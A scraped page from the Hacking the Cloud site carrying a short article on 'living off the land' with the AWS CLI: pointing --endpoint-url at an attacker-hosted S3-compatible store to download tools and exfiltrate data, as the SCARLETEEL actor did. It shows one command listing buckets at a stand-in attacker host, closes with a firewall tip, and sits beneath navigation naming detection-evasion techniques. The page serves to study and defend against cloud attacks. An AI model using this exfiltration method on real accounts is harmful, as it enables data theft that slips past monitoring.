href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Download Tools and Exfiltrate Data with the AWS CLI</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z"/></svg></span> <strong>Technique seen in the wild</strong></p> <hr> <p>Reference: <a href=https://sysdig.com/blog/scarleteel-2-0/ >SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto</a></p> </li> </ul> </div> <p>In an attempt to be stealthy, threat actors will often "<a href=https://github.com/LOLBAS-Project/LOLBAS>live off the land</a>", using tools and scripts already existing on a host machine outside of their intended purpose. This can help them avoid detection by blending in with their surroundings.</p> <p>In AWS environments, it is common to find servers which have the AWS CLI installed (It is included by <a href=https://docs.aws.amazon.com/cli/v1/userguide/install-linux-al2017.html>default</a> in Amazon Linux). This makes it an excellent choice for adversaries to move data around, avoiding more common tools like <a href=https://curl.se/ >curl</a> or <a href=https://www.gnu.org/software/wget/ >Wget</a> which may be monitored for suspicious uses.</p> <p>As seen in the wild by the <a href=https://sysdig.com/blog/scarleteel-2-0/ >SCARLETEEL</a> threat actor, the AWS CLI can be used to download and exfiltrate data using an attacker-hosted backend. You can host an S3 compatible object store such as <a href=https://min.io/ >MinIO</a> and then use the <code>--endpoint-url</code> flag to interact with that service. This makes it easy to download tools, exfiltrate compromised data and more.</p> <div class=highlight><pre><span></span><code>$<span class=w> </span>aws<span class=w> </span>s3<span class=w> </span>ls<span class=w> </span>--endpoint-url<span class=w> </span>https://attacker.s3.store
 <span class=m>2023</span>-07-13<span class=w> </span><span class=m>02</span>:06:30<span class=w> </span>criminalbucket
 <span class=m>2023</span>-07-13<span class=w> </span><span class=m>22</span>:01:36<span class=w> </span>exfiltrated-data
 </code></pre></div> <div class="admonition tip"> <p class=admonition-title>Tip</p> <p>As mentioned by <a href="https://www.linkedin.com/feed/update/urn:li:activity:7085273463359176704?commentUrn=urn%3Ali%3Acomment%3A%28activity%3A7085273463359176704%2C7085302479327805441%29">Jesse Lepich</a>, a layer 7 firewall like the <a href=https://aws.amazon.com/network-firewall/ >AWS Network Firewall</a> can be used to limit access to non-allowlisted domains.</p> </div> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">July 15, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">July 13, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 